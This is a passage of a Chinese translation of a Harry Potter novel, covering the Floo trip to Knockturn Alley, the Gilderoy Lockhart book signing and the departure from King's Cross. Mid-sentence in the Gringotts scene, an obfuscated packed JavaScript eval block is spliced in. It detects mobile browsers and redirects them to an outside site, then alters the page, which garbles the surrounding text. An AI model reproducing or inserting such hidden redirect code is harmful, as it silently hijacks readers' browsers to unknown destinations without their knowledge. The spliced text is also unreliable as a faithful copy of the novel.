韦斯莱夫人为他补袜子,每顿饭都逼着他添四次。韦斯莱先生喜欢让哈利吃饭时坐在他身边,并一个劲儿地向哈利打听麻瓜的生活,问他插头和邮局是怎么回事。 “太妙了!”哈利给他讲完怎样使用电话之后,他叹道,“真是天才,麻瓜想出了多少不用魔法生活的办法啊。” 到陋居大约一星期后,在一个晴朗的早晨,哈利收到了霍格沃茨的来信。 那天他和罗恩下楼吃早饭,发现韦斯莱夫妇和金妮已经坐在餐桌旁了。金妮一看见哈利,不小心把她的粥碗碰翻在地,弄出了很大的响声。 好像每次哈利一进屋,金妮总要碰倒什么东西。她钻到桌子底下去捡碗,出来时脸红得像晚霞一样。哈利装做没看见,坐了下来,接过韦斯莱夫人递给他的面包片。 “学校来信了。”书斯莱先生说。哈利和罗恩都拿到了一个黄色羊皮纸的信封,上面的字是绿色的。 “哈利,邓布利多已经知道你在这儿了——这个人啊,什么也瞒不过他。你们俩也有。”弗雷德和乔治慢慢地踱了进来,身上还穿着睡衣。 一时间没有人说话,大家各自看信。哈利的信让他九月一日仍旧从国王十字车站搭乘霍格沃茨特快列车。信里还列出了他这一年要用的新书的书单。 二年级学生要读:《标准咒语,二级》,米兰达·戈沙克著,《与女鬼决裂》,吉德罗·洛哈特著,《与食尸鬼同游》,吉德罗·洛哈特著,《与母夜叉一起度假》,吉德罗·洛哈特著《与巨怪同行》,吉德罗·洛哈特著《与吸血鬼同船旅行》,吉德罗·洛哈特著《与狼人一起流浪》,吉德罗·洛哈特著,《与西藏雪人在一起的一年》,吉德罗·洛哈特著。弗雷德读完了他自己的单子,伸头来看哈利的。 “你也要买吉德罗·洛哈特的书!”他说,“新来的黑魔法防御术课老师一定是他的崇拜者——没准是个女巫。”弗雷德看到他母亲的目光,赶忙低头专心吃他的橘子酱。 “那些书可不便宜,”乔治迅速地看了父母一眼说,“吉德罗·洛哈特的书真够贵的...” “哦,我们会有办法的,”韦斯莱夫人说,可是看上去有点发愁,“我想金妮的许多东西可以买二手货。” “哦,你今年也要上霍格沃茨了?”哈利问金妮。 她点点头,火红色头发的发根都红了。胳膊肘碰到了黄油盘里。幸好除了哈利之外没有别人看见,因为这时罗恩的哥哥珀西正好走了进来。他已经穿戴整齐,级长的徽章别在针织短背心上。 “大家早上好。”珀西轻快地说,“天气不错。” 他坐到仅剩的一张椅子上,但马上又跳了起来,从屁股下面拉出一个掉毛的灰鸡毛掸子——至少哈利以为那是个鸡毛掸子,随即发现它居然在呼吸。 “埃罗尔!”罗恩大叫起来。他接过珀西手里那只病恹恹的猫头鹰,从它翅膀下面抽出一封信。“它终于带来了赫敏的回信。我写信告诉她,我们要去德思礼家把你救出来。” 他把埃罗尔抱到后门旁的一根栖木跟前,想让它站在上面,可埃罗尔直往下掉。罗恩只好把它放在滴水板上,嘴里咕哝着“可怜可怜”。然后他撕开赫敏的信,大声读道:亲爱的罗恩,还有哈利,如果你也在,祝一切都好,祝哈利平安,希望你们救他的时候没有做什么违法的事情,因为那也会给哈利惹麻烦的。我真是担心极了,要是哈利还好,请马上告诉我。不过你最好换一只猫头鹰,我想要是再送一回信,你这只鸟就没命了。 我当然在忙着做功课— “她怎么可能?”罗恩大吃一惊,“现在是暑假啊!”——我下星期三要去伦敦买课本。咱们在对角巷见面如何?尽快把你们的情况告诉我,好友,赫敏。 “正巧,我们也在那天去买。”韦斯莱夫人开始收拾桌子,“你们今天都有什么活动?” 哈利、罗恩、弗雷德和乔治打算到山上韦斯莱家的一块围场上去,那儿周围都是树,不会被下面村子里的人看见。他们可以在那里练习打魁地奇,只要不飞得太高就行。但他们不能用真正的魁地奇球,要是不小心让它们飞到村子上空,那就说不清楚了,所以他们只是互相抛接苹果。他们轮流骑坐哈利的光轮2000,它比其他几人的扫帚都要好得多,罗恩的那把“流星”经常被蝴蝶撇在后面。 五分钟后,四个人扛着扫帚朝山上爬去。他们原想邀珀西一起去,可他说没空。到现在为止,哈利只在吃饭时才能看到珀西。 “我真想知道他在干什么,”弗雷德皱着眉头说,“他最近很反常。你来的前一天他拿到了考试成绩,十二个O,O.W.Ls证书,都没看出他怎么得意。” “O.W.Ls代表普通巫师等级考试。”看到哈利不解的表情,乔治解释说,“比尔也得过十二个,如果我们不留神点儿,家里可能会再出现一个男生学生会主席,我可丢不起这份人。” 比尔是韦斯莱兄弟中的老大,他和老二查理都已离开了霍格沃茨。哈利从没见过他们,但知道查理在罗马尼亚研究龙,比尔在埃及为古灵阁,即巫师银行工作。 “不知道爸爸妈妈到哪里弄钱给我们买今年的学习用品,”乔洽过了一会儿说,“ 五套洛哈特的书!金妮还需要长袍和魔杖什么的...” 哈利没有说话。他觉得有点尴尬。他父母留给他的一点可怜的财产,存在古灵阁的地下金库里。当然,他的钱只能在魔法世界里使用,你不能在麻瓜的商店里用加隆、西可和纳特买东西。哈利从没向德思礼一家提起他在古灵阁的存款,他认为他们虽然惧怕与魔法有关的一切,但这种恐惧大概不会扩展到一大堆金币上面。 到了下星期三,韦斯莱夫人一大早就把他们叫醒了。他们每人匆匆吃了五六块咸肉三明治,然后穿好外套。韦斯莱夫人从厨房壁炉架上端起一只花盆,朝里面看着。 “不多了,亚瑟,”她叹了口气,“今天得去买点儿...好吧,客人先请!哈利,你先来!” 她把花盆送到他面前。 哈利愣住了,大家都看着他。 “我一我应该怎么做?”他结结巴巴地问。 “他没用过飞路粉旅行。”罗恩突然说,“对不起,哈利,我忘记了。” “没用过?”韦斯莱先生问,“那你去年是怎么到对角巷去买学习用品的?” “我坐地铁去的——” “是吗?”韦斯莱先生兴致勃勃地问,“有电梯吗?到底怎么——” “现在别问了,亚瑟。”韦斯莱夫人说,“哈利用飞路粉要快得多,可是,天哪,要是你从前没用过——” “他没问题的,妈妈。”弗雷德说,“哈利,先看我们怎么做。” 他从花盆里捏起一撮亮晶晶的粉末,走到火炉前,把粉末丢进火焰里。 呼的一声,炉火变得碧绿,升得比弗雷德还高。他径直走进火里,喊了一声“对角巷!”眨眼间就不见了。 “你必须把这几个字说清楚,孩子,”韦斯莱夫人对哈利说,乔治也把手伸进了花盆,“出来时千万别走错炉门...” “别走错什么?”哈利紧张地问,火焰呼啸着蹿起,把乔治也卷走了。 “你知道,魔火有很多种,你必须选准,但只要你口齿清楚——” “他不会有事的,莫丽,别紧张兮兮的。”韦斯莱先生说着,也取了一些飞路粉。 “可是亲爱的,如果他走丢了,我们怎么跟他的姨父姨妈交代啊?” “他们不会着急的。”哈利安慰她说,“达力会觉得,我在烟囱里失踪是一个绝妙的笑话,您不用担心。” “那...好吧...你在亚瑟后面走。”韦斯莱夫人说,“记住,一走进火里,就说你要去哪儿——” “胳膊肘夹紧。”罗恩教他。 “闭上眼睛,”韦斯莱夫人说,“有煤烟——” “不要乱动,”罗恩说,“不然你可能从别的炉门跌出来——” “但也不要慌里慌张,不要出来得太早,要等你看到了弗雷德和乔治。” 哈利拼命把这些都记在心里,伸手取了一撮飞路粉,走到火焰边上。他深深吸了一口气,把粉末撒进火里,向前走去;火焰像一股热风,他一张嘴,马上吸了一大口滚烫的烟灰。 “对——对角巷。”他咳着说。 他仿佛被吸进了一个巨大的插座孔里。他的身子好像在急速地旋转...耳旁的呼啸声震耳欲聋...他拼命想睁开眼睛,可是飞旋的绿色火焰让他感到眩晕..有什么坚硬的东西撞到了他的胳膊肘,他紧紧夹住双臂,还是不停地转啊转啊,一现在好像有冰凉的手在拍打他的面颊,他眯着眼透过镜片看去,只见一连串炉门模煳地闪过,隐约能瞥见壁炉外的房间...咸肉三明治在他的胃里翻腾...他赶忙闭上眼,祈求快点停下来,然后——他脸朝下摔到了冰冷的石头地上,感觉他的眼镜片碎了。 他头晕目眩,皮肤青肿,满身煤灰,小心翼翼地爬起来,把碎裂的眼镜举到眼前。他是独自一人,然而这是什么地方呢,他不知道。他好像是站在一个宽敞而昏暗的巫师商店的石头壁炉前面——可是这里的东西似乎没有一样可能列在霍格沃茨的购物单上。 旁边一个玻璃匣里的垫子上,有一只枯萎的人手、一叠血迹斑斑的纸牌和一只呆滞不动的玻璃眼球。狰狞的面具在墙上朝下睨视,柜台上摆着各种各样的人骨,生锈的尖齿状的器械从天花板挂下来。更糟糕的是,哈利可以看出,满是灰尘的商店橱窗外那条阴暗狭窄的小巷,肯定不是对角巷。 要尽快离开这里。鼻子还火辣辣地痛,哈利迅速轻手轻脚地向门口走去,可是还没走到一半,门外出现了两个人——其中一个是哈利此刻最不想遇到的人:德拉科·马尔福。啊,可不能让马尔福看到他迷了路,满身煤灰,戴着破眼镜。 哈利迅速朝四下一望,看到左边有一个黑色的大柜子,便闪身钻了进去,掩上门,只留了一条细缝。几秒钟后,铃声一响,马尔福走进了店里。 他身后的那个男人只能是他的父亲,也是那样苍白的尖脸,那样冷漠的灰眼睛。马尔福先生穿过店堂,懒洋洋地看着陈列的物品,摇响了柜台上的铃铛,然后转身对儿子说,“什么都别碰,德拉科。” 马尔福正要伸手摸那只玻璃眼球,他说:“我以为你要给我买件礼物呢。” “我是说要给你买一把比赛用的扫帚。”他父亲用手指叩着柜台说。 “如果我不是学院队的队员,买扫帚又有什么用?”马尔福气呼呼地说,“哈利波特去年得了一把光轮2000,邓布利多特许他代表格兰芬多学院比赛。他根本就不配,不过是因为他有些名气...因为他额头上有一个愚蠢的伤疤...” 马尔福弯腰仔细查看满满一个架子的头盖骨。 “...所有的人都觉得他那么优秀,了不起的哈利·波特和他的伤疤,还有他的飞天扫帚——” “你已经跟我讲了至少有十遍了,”马尔福先生看了儿子一眼,制止他再说下去,“我要提醒你,当多数人都把哈利·波特看成是赶跑了魔头的英雄时,你不装作喜欢他是不——不明智的。——啊,博金先生。” 一个躬腰驼背的男人出现在柜台后面,用手向后捋着油光光的头发。 “马尔福先生,再次见到您真让人愉快。”博金先生用和他的头发一样油滑的腔调说道,“非常荣幸——还有马尔福少爷——欢迎光临。我能为您做些什么?我一定要给您看看,今天刚进的,价钱非常公道——” “我今天不买东西,博金先生,我是来卖东西的。”马尔福先生说。 “卖东西?”博金先生脸上的笑容稍稍减少了一些。 “你想必听说了,部里加紧了抄查。”马尔福先生说着,从衣服内侧的口袋里摸出一卷羊皮纸,展开给博金先生看。“我家里有一些——啊——可能给我造成不便的东西,如果部里来...”博金先生戴上一副夹鼻眼镜,低头看着清单。 “想来部里不会去打搅您的吧,先生?” 马尔福先生撇了撇嘴。 “目前还没有来过。马尔福的名字还有一点威望,可是部里越来越好管闲事了。据说要出台一部新的...” 哈利觉得怒火中烧。 “——你知道,这上面的有些毒药可以让它看上去——” “我明白,先生,这是当然的。”博金先生说,“让我看看...” “能把那个给我看看吗?”德拉科指着垫子上那只枯萎的人手问道。 “啊,光荣之手!”博金先生叫道,丢下马尔福先生的单子,奔到德拉科面前。“插上一支蜡烛,只有拿着它的人才能看见亮光!是小偷和强盗最好的朋友!您的儿子很有眼力,先生。” “我希望我的儿子比小偷和强盗有出息一点儿,博金。”马尔福先生冷冷地说。博金先生马上说:“对不起,先生,我没有那个意思——” “不过要是他的成绩没有起色,”马尔福先生语气更冷地说,“他也许只能干那些勾当。” “这不是我的错,”德拉科顶嘴说,“老师们都偏心,那个赫敏·格兰杰——” “一个非巫师家庭出身的女孩子,回回考试都比你强,我还以为你会感到羞耻呢。”马尔福先生怒气冲冲地说。 “哈哈!”看到德拉科又羞又恼的样子,哈利差点笑出声来。 “到处都是这样,”博金先生用他那油滑的腔调说,“巫师血统越来越不值钱了。” “我不这样认为。”马尔福先生说,他的长鼻孔扇动着,喷着粗气。 “我也不,先生。”博金先生深鞠一躬说。 “那么,也许我们可以接着看我的单子了吧。”马尔福先生不耐烦地说,“我时间不多,博金,今天我还有重要的事情要办。” 他们开始讨价还价,德拉科随心所欲地观看店里出售的物品,眼看着就要接近哈利的藏身之处,哈利的心提了起来。德拉科停下来研究一根长长的绞索,又傻笑着念一串华贵的蛋白石项链上面的牌子:当心:切勿触摸,已被施咒——已经夺走了十九位麻瓜的生命。 德拉科转过身,看到了那个柜子。他走上前...手伸向了门把手... “成了,”马尔福先生在柜台那边说,“过来,德拉科!” 德拉科转身走开了,哈利用衣袖擦了擦额头。 “再见,博金先生,明天我在家中等你来拿货。” 门一关,博金先生立刻收起了他那谄媚的腔调。“再见吧,马尔福先生,如果那些传说是真的,你卖给我的东西还不到你宅中私藏的一半...”博金先生愤愤地嘀咕着,走进后房去了。哈利等了一会儿,怕他还会出来。然后,他尽可能悄无声息地钻出柜子,走过那些玻璃柜台,溜出了店门。 他把破眼镜摁在眼睛上,往四下里张望,眼前是一条肮脏的小巷,两旁似乎全是黑魔法的店铺。他刚刚出来的那一家叫博金-博克,好像是最大的,但对面一家的橱窗里阴森森地陈列着一些萎缩的人头。隔着两家门面,一个大笼子里黑压压地爬满巨大的黑蜘蛛。在一个阴暗的门洞里,有两个衣衫褴褛的巫师正看着他窃窃私语。哈利感到毛骨悚然,要赶快离开那里。他一路努力把眼镜片扶正,心中抱着一线希望,但愿能摸出去。 一家卖毒蜡烛的店铺前挂着块旧木头街牌,告诉他这是翻倒巷。这没有用,哈利从来都没听说过这个地方。他想,他可能是在韦斯莱家火炉里时吞了满嘴烟灰,没有把地名说清楚。他竭力保持镇静,思索着该怎么办。 “不是迷路了吧,亲爱的?”耳边忽然响起一个声音,把他吓了一跳。 一个老巫婆站在他面前,托着一碟酷似整片死人指甲的东西。她乜斜着他,露出长着苔藓的牙齿,哈利慌忙后退。 “我很好,谢谢。”他说,“我只是——” “哈利!你在这里干什么?” 哈利的心怦怦跳起来,那巫婆也惊得一跳,指甲纷纷洒落到她的脚背上。她诅咒着,只见海格,那魁梧的狩猎场看守,正大步向他们走来,甲虫般黑亮的眼睛在大胡子上面炯炯放光。 “海格!”哈利心里一宽,沙哑着嗓子喊道,“我迷路了...飞路粉...” 海格揪住哈利的后脖颈把他从老巫婆身边拉开,又一挥手打落了她手里的盘子。她的尖叫声一直追着他们穿过曲曲折折的小巷,直到他们来到明亮的阳光下。哈利远远地就看到了一个熟悉的雪白大理石建筑:古灵阁银行。海格直接把他带到了对角巷。 “看你这样子!”海格粗声粗气地说,用力给哈利掸去身上的煤灰,重手重脚的,差点把他搡进一家药店外的龙粪桶里。 “在翻倒巷里瞎转,你不知道——那不是个好地方,哈利,别让人看见你在那儿——” “我也看出来了,”哈利见海格又要来替他掸灰,连忙躲开,“跟你说我迷路了嘛——你在那儿干什么?” “我在找一种驱赶食肉鼻涕虫的药,”海格粗声粗气地说,“它们快把学校的卷心菜糟蹋光了。你不是一个人吧?” “我现在住在韦斯莱家,可是我们走散了,”哈利解释说,“我得去找他们...” 他们一起朝前走去。 “你怎么一直不给我回信?”海格问,哈利在他身边一路小跑(他三步才能赶上海格那双大皮靴的一步)。哈利把多比和德思礼一家的情况都跟他说了。 “可恶的麻瓜,”海格咆哮道,“要是我知道——” “哈利!哈利!快过来!” 哈利一抬头,看见赫敏·格兰杰站在古灵阁的白台阶上。她跑下来迎接他们,蓬松的棕发在身后飞扬。 “你的眼镜怎么了?你好,海格...哦,又看到你们俩了,真是太好了...你去古灵阁吗,哈利?” “我找到韦斯莱一家之后就去。”哈利说。 “你不用找多久的。”海格笑道。 哈利和赫敏环顾四周,看见罗恩、弗雷德、乔治、珀西和韦斯莱先生正从拥挤的街上快步跑来。 “哈利,”韦斯莱先生喘着气说,“我们但愿你只错过了一个炉门...”他擦了擦亮晶晶的秃顶。 “莫丽都急疯了——她马上就来。” “你在哪儿出来的?"罗恩问。 “翻倒巷。”海格板着脸说。 “太棒了!”弗雷德和乔治一起叫了起来。 “大人们从来不让我们去的。”罗恩羡慕地说。 “我想最好别去。”海格粗声说。” 韦斯莱夫人急急地向这边跑来,一只手拎着的手提包剧烈地摆动着;金妮拉着她的另一只手吃力地跟着。“哦,哈利——哦,亲爱的——你走到哪儿都可能的啊——” 她上气不接下气地从包里拿出一把大衣刷,开始掸扫海格没拍掉的煤灰。韦斯莱先生接过哈利的眼镜,用魔杖一点,还给他的眼镜像新的一样。 “唔,我得走了。”海格说,他的手正被韦斯莱夫人紧紧攥着(“翻倒巷!多亏你发现了他,海格!”)。“霍格沃茨见!”他大步流星地走了,比街上所有的人都高出一个头和一个肩膀。 “你们猜我在博金-博克店里看到谁了?”走上古灵阁的台阶时,哈利问罗恩和赫敏。“马尔福和他爸爸。” “卢修斯·马尔福买什么东西了吗?”韦斯莱先生在他们身后警惕地问。 “没有,他去卖东西了。” “他害怕了,”韦斯莱先生严肃而满意地说,“哦,我真想抓到卢修斯·马尔福的证据...” “当心点,亚瑟。”韦斯莱夫人告诫他说,一位妖精躬着身子把他们引进银行。“那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338706|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一家人可不好惹,别去咬你啃不动的骨头。” “你认为我斗不过马尔福?”韦斯莱先生愤愤地说,可是他的注意力马上被转移了,因为他看见赫敏的父母正局促地站在横贯整个大理石大厅的柜台旁,等着赫敏给他们作介绍。 “啊,你们是麻瓜!”韦斯莱先生高兴地说,“咱们一定要喝一杯去!你手里拿的那个是什么?哦,你们在兑换麻瓜货币。莫丽,你瞧!”他兴奋地指着格兰杰先生手里那张十英镑的钞票说。 “一会儿还在这儿见。”罗恩对赫敏说,韦斯莱一家和哈利由另一个古灵阁妖精领着,前往他们的地下金库。 由妖精驾驶的小车在小型铁轨上穿梭飞驰,穿过银行的地下隧道到达各个保险库。哈利觉得那一路风驰电掣的感觉十分过瘾,可是当韦斯莱家的保险库打开时,他感到比在翻倒巷时还可怕。里面是很不起眼的一堆银西可,只有一块金加隆。韦斯莱夫人连边边角角都摸过了,最后把所有的硬币都拨拉到她的包里。到了他自己的保险库,哈利感觉更难堪了。他尽量不让别人看到,匆匆地把几小把硬币扫进一个皮包。 他们在银行外的大理石台阶上分手了。珀西嘀咕着要买一根新羽毛笔,弗雷德和乔治看到了他们在霍格沃茨学校的朋友李·乔丹。韦斯莱夫人和金妮要去一家卖旧袍子的商店。韦斯莱先生坚持要带格兰杰一家去破釜酒吧喝一杯。 “一小时后在丽痕书店集合,给你们买课本。”韦斯莱夫人一面交代,一面带着金妮动身离开。“不许去翻倒巷!”她冲着双胞胎兄弟的背影喊。 哈利、罗恩和赫敏在卵石铺成的曲折街道上溜达。那些金币、银币和铜币在哈利兜里愉快地响着,大声要求把它们花掉。于是他买了三块大大的草莓花生黄油冰淇淋。 他们惬意地吃着冰淇淋在巷子里闲逛,浏览着琳琅满目的商店橱窗。罗恩恋恋不舍地盯着魁地奇精品店橱窗里陈列的全套查德里火炮队袍服,直到赫敏拉他们到旁边一家店铺里去买墨水和羊皮纸。在蹦跳嬉闹魔法笑话商店,他们碰到了弗雷德、乔治和李·乔丹。他们在大量购买“费力拔博士的自动点火、见水开花神奇烟火”。 在一家堆满破破烂烂的魔杖、摇摇晃晃的铜天平和药渍斑斑的旧斗篷的旧货铺里,他们发现珀西正在聚精会神地读一本非常枯燥的书:《级长怎样获得权力》。 “霍格沃茨的级长和他们离校后从事的职业,”罗恩大声念着封底的说明,“听起来蛮吸引人的...” “走开。”珀西没好气地说。 “当然啦,珀西是有野心的,他都计划好了,..他要当魔法部长...”他们离开珀西时,罗恩低声对哈利和赫敏说。 一小时后,他们向丽痕书店走去,去书店的人远不止他们几个。他们惊讶地发现店门外挤了一大群人,都想进去。楼上拉出了一条大横幅:吉德罗·洛哈特签名出售自传《会魔法的我》今日下午12:30-16:30“我们可以当面见到他啦!”赫敏叫起来,“我是说,书单上的书几乎全是他写的呀!” 人群中似乎大部分都是韦斯莱夫人这个年纪的女巫。一位面色疲惫的男巫站在门口说:“女士们,安静...不要拥挤...当心图书...” 哈利、罗恩和赫敏从人缝里钻了进去。弯弯曲曲的队伍从门口一直排到书店后面,吉德罗·洛哈特就在那里签名售书。他们每人抓了一本《与女鬼决裂》,偷偷跑到韦斯莱一家和格兰杰夫妇排队的地方。 “哦,你们可来了,太好了。”韦斯莱夫人说。她呼吸急促,不停地拍着头发。“我们一会儿就能见到他了...” 渐渐地,他们望见吉德罗·洛哈特了。他坐在桌子后面,被他自己的大幅照片包围着,照片上的那些脸全都在向人群眨着眼睛,闪露着白得耀眼的牙齿。真正的洛哈特穿着件跟勿忘我花一样蓝色的长袍,与他的蓝眼睛正好相配。尖顶巫师帽俏皮地歪戴在一头鬈发上。 一个脾气暴躁的矮个子男人举着一个黑色的大照相机,在他前前后后跳来跳去地拍照。每次闪光灯炫目地一闪,相机里便喷出一股股紫色的烟雾。 “闪开,”他对罗恩嚷道,一面后退着选取一个更好的角度,“这是给《预言家日报》拍的。” “真了不起。”罗恩揉着被那人踩痛的脚背说。 吉德罗·洛哈特听到了。他抬起头来,看到了罗恩,接着又看到了哈利。他盯着哈利看了一会儿,跳起来喊道:“ 这不是哈利·波特吗?” 人群让开一条路,兴奋地低语着。洛哈特冲上前来,抓住哈利的胳膊,把他拉到前面,全场爆发出一阵掌声。哈利脸上发烧,洛哈特握着他的手让摄影师拍照。矮个子男人疯狂地连连按动快门,阵阵浓烟飘到韦斯莱一家身上。 “笑得真漂亮,哈利。”洛哈特自己也展示着一口晶亮的牙齿,“咱们俩可以上第一版。” 当他终于放开哈利的手时,哈利手指都麻木了。他想溜回韦斯莱一家那里,可洛哈特的一只胳膊还搭在他肩上,把他牢牢夹在身边。 “女士们先生们,”洛哈特大声说,挥手让大家安静,“这是多么不同寻常的一刻!我要借这个绝妙的场合宣布一件小小的事情,这件事我压了一段时间一直没有说。” “年轻的哈利今天走进丽痕书店时,只是想买我的自传——我愿意当场把这本书免费赠送给他——”又是一片掌声,“——可他不知遭,”洛哈特继续说,并摇晃了哈利一下,弄得他眼镜滑到了鼻尖上,“他不久将得到比拙作《会魔法的我》更有价值的东西,实际上,他和他的同学们将得到一个真正的、会魔法的我。不错,女士们先生们,我无比愉快和自豪地宣布,今年九月,我将成为霍格沃茨的黑魔法防御课教师!” 人群鼓掌欢呼,哈利发现自己拿到了吉德罗·洛哈特的全套着作,沉得他走路都有点摇晃。他好不容易才走出公众注意的中心,来到墙边,金妮正站在她的新坩埚旁。 “这些给你,”哈利把书倒进坩埚里,含糊地对她说,“我自己再买——” “你一定很喜欢这样吧,波特?”一个他决不会听错的声音说。哈利直起腰,与德拉科·马尔福打了个照面,对方脸上挂着惯常的那种嘲讽人的笑容。 “着名的哈利·波特,”马尔福说,“连进书店都不能不成为头版新闻。” “别胡说,他不想那样!”金妮说。这是她第一次当着哈利的面主动说话,对马尔福怒目而视。 “波特,你找了个女朋友!”马尔福拖长着音调说。金妮的脸红了,罗恩和赫敏挤过来,每人都抱着一摞洛哈特的书。 “哦,是你,”罗恩看着马尔福,仿佛看到了鞋底上什么恶心的东西,“你在这儿看到哈利一定很吃惊吧,嗯?” “更让我吃惊的是,居然看到你也进了商店,韦斯莱。”马尔福反唇相讥,“我猜,为了买那些东西,你爸爸妈妈下个月要饿肚子了吧。” 罗恩涨红了脸,把书丢进坩埚,就要朝马尔福冲去。哈利和赫敏从后面紧紧拽住他的衣服。 “罗恩!”韦斯莱先生带着弗雷德和乔治挤过来,“你在干什么?这里的人都疯了,我们出去吧。” “啊呀呀——亚瑟·韦斯莱。” 是马尔福先生。他一只手搭在德拉科的肩上,脸上挂着和儿子一模一样的讥笑。“卢修斯。”韦斯莱先生冷冷地点头说。 “听说老兄公务繁忙得很哪,”马尔福先生说,“那么多的抄查...我想他们付给你加班费了吧?”他把手伸进金妮的坩埚,从崭新光亮的洛哈特著作中间抽出了一本破破烂烂的《初学变形指南》。 “看来并没有。我的天,要是连个好报酬都捞不到,做个巫师中的败类又有什么好处呢?” 韦斯莱先生的脸比罗恩和金妮红得还厉害。 “我们对于什么是巫师中的败类看法截然不同,马尔福。”他说。“当然,”马尔福先生说。他浅色的眼珠子一转,目光落到了提心吊胆地看着他们的格兰杰夫妇身上。“看看你交的朋友,韦斯莱...我本以为你们一家已经堕落到极限了呢。” 哐当一声,金妮的坩埚飞了出去。韦斯莱先生朝马尔福先生扑过去,把他撞到一个书架上,几十本厚厚的咒语书掉到他们头上。弗雷德和乔治大喊:“揍他,爸爸!” 韦斯莱夫人尖叫:“别这样,亚瑟,别这样!”人群惊慌后退,撞倒了更多的书架。 “先生们,行行好——行行好。”店员喊道。然后一个大嗓门压过了所有的声音:“散开,先生们,散开——” 海格踏着满地的书大步走过来,一眨眼就把韦斯莱先生和马尔福先生拉开了。韦斯莱先生嘴唇破了,马尔福先生一只眼睛被《毒菌大全》砸了一下,手里还捏着金妮那本破旧的变形术课本。他把书往她手里一塞,眼里闪着恶毒的光芒。 “喏。小丫头——拿着你的书——这是你爸爸能给你的最好的东西——” 他挣脱了海格的手臂,向德拉科一招手,冲出了店门。 “你不该理他,亚瑟,”海格伸手替韦斯莱先生把袍子抹平,差点把他举了起来,“这家伙坏透了,他们全家都是,所有的人都知道。马尔福一家人的话根本不值得听。他们身上的血是坏的,就是这么回事。走,我们出去吧。” 店员似乎想拦住他们,可是他的个头才到海格的腰部,所以没敢造次。他们快步走到街上,格兰杰夫妇吓得浑身发抖,韦斯莱夫人则气得发狂。“给孩子们带的好头...当众打架..吉德罗·洛哈特会怎么想...” “他可高兴了,”弗雷德说,“咱们出来时你没听见吗?他问《预言家日报》的那个家伙能不能把打架的事也写进报道——他说这准能造成轰动。” 不过回到破釜酒吧的壁炉旁时,大伙儿已经平静多了。哈利、书斯莱一家和买的东西都要用飞路粉运回陋居。格兰杰一家要回城那边麻瓜住的街道。他们在酒吧道别,韦斯莱先生想问问他们汽车站是什么样的,可是看到韦斯莱夫人的表情,只好赶快闭了嘴。 哈利摘下眼镜,小心地放进口袋里,才去取飞路粉。这显然不是他最喜欢的旅行方式。 24. 打人柳 哈利觉得暑假结束得太快了。他盼望回到霍格沃茨,可是在陋居的一个月是他一生中最快乐的时光。想到德思礼一家和他下次回女贞路时可能受到的待遇,他没法不嫉妒罗恩。 最后一夜,韦斯莱夫人变出了一桌丰盛的晚饭,都是哈利最喜欢的食品,最后一道是看了就让人流口水的蜜汁布丁。弗雷德和乔治的费力拔烟火表演使这个夜晚更加完美。厨房里布满了红色和蓝色的星星,在天花板和墙壁之间闪来闪去至少有半个小时之久。尽兴之后,每人喝了一杯热巧克力,就上床睡觉去了。 第二天早上动身花了很长时间。鸡一叫他们就起床了,可是仍然好像有很多事情要做。韦斯莱夫人冲来冲去地寻找备用的袜子和被子,心情烦躁。大家老是在楼梯上撞在一起,衣服穿了一半,手里拿着吃剩的一点儿面包。韦斯莱先生把金妮的箱子扛到车上时,在院子被一只鸡绊了一下,差点儿摔断了脖子。 哈利心里纳闷,这八个人、六只大箱子、两只猫头鹰和一只老鼠,怎么可能塞进一辆小小的福特安格里亚车里呢?当然,他没有想到韦斯莱先生添加的那些设计。 “别告诉莫丽。”他打开行李箱,向哈利展示它怎样被神奇地扩大了,足以放下那些箱子。 当他们终于都坐进车里后,韦斯莱夫人朝后排看了一眼,哈利、罗恩、弗雷德、乔治和珀西舒适地并排坐在那里。她和金妮坐在前面,那个座位也被加长到像公园的长凳一样。“麻瓜真是比我们想象的要聪明,”她说,“从外面看不出车里有这么宽敞,是不是?” 韦斯莱先生发动了引擎,汽车开出了院子。哈利回头看了这所房子最后一眼。他还没来得及想什么时候才能再见到它,他们又回来了:乔治把他的费力拔烟火忘在家里了。五分钟之后,汽车又在院子里刹住,好让弗雷德跑回去拿他的飞天扫帚。快上高速公路时,金妮又尖叫起来,说她忘带日记本了。等她爬进汽车时,时间已经很晚,人们的火气也已经很旺。 韦斯莱先生看了一眼手表,然后看着他的妻子。 “莫丽,亲爱的——” “不行,亚瑟。” “没人会看见。这里有个小按钮,是我安装的隐形助推器——它能把我们送到天上——然后我们在云层上面飞,十分钟就到了,谁也不会知道...” “我说了不行,亚瑟,在这种光天化日之下。”他们差一刻十一点到了国王十字车站。韦斯莱先生冲过马路去找运行李的小车,大家匆匆跑进车站。 哈利去年乘过霍格沃茨特快列车。窍门是要登上9又3/4站台,这个站台是麻瓜看不见的。你得穿过第9和第10站台之间的隔墙。一点儿也不痛,可是要小心别让麻瓜看到你消失了。 “珀西第一个。”韦斯莱夫人紧张地看着挂钟说。他们必须在五分钟内装作漫不经心地穿墙而过。珀西快步走过去,消失了。韦斯莱先生跟着也过去了,接着是弗雷德和乔治。 “我带着金妮,你们俩紧紧跟上。”韦斯莱夫人对哈利和罗恩说完,抓住金妮的手走向前去,一转眼就消失了。 “咱俩一起过吧,只有一分钟了。”罗恩说。 哈利看了看海德薇的笼子是否在箱子顶上插牢了,然后把小行李车转过来对着隔墙。他非常自信,这远不像用飞路粉那样难受。他们俩猫起腰,坚定地推着车子朝隔墙走去,逐渐加快步伐。离墙还有几英尺时,他们跑了起来——两辆车撞在隔墙上弹了回来。罗恩的箱子重重地砸到地上,哈利被撞倒了;海德薇的笼子弹到了光亮的地板上,滚到一边;海德薇愤怒地尖叫着。许多人围着他们看,旁边一个警卫喊道:“你们到底在搞什么名堂?” “车子脱手了。”哈利喘着气说,捂着肋骨爬起来。罗恩跑过去捡起海德薇,它还在那里大吵大叫,使得许多围观的人说他们虐待动物。“我们为什么过不去?”哈利小声问罗恩。“我不知道——” 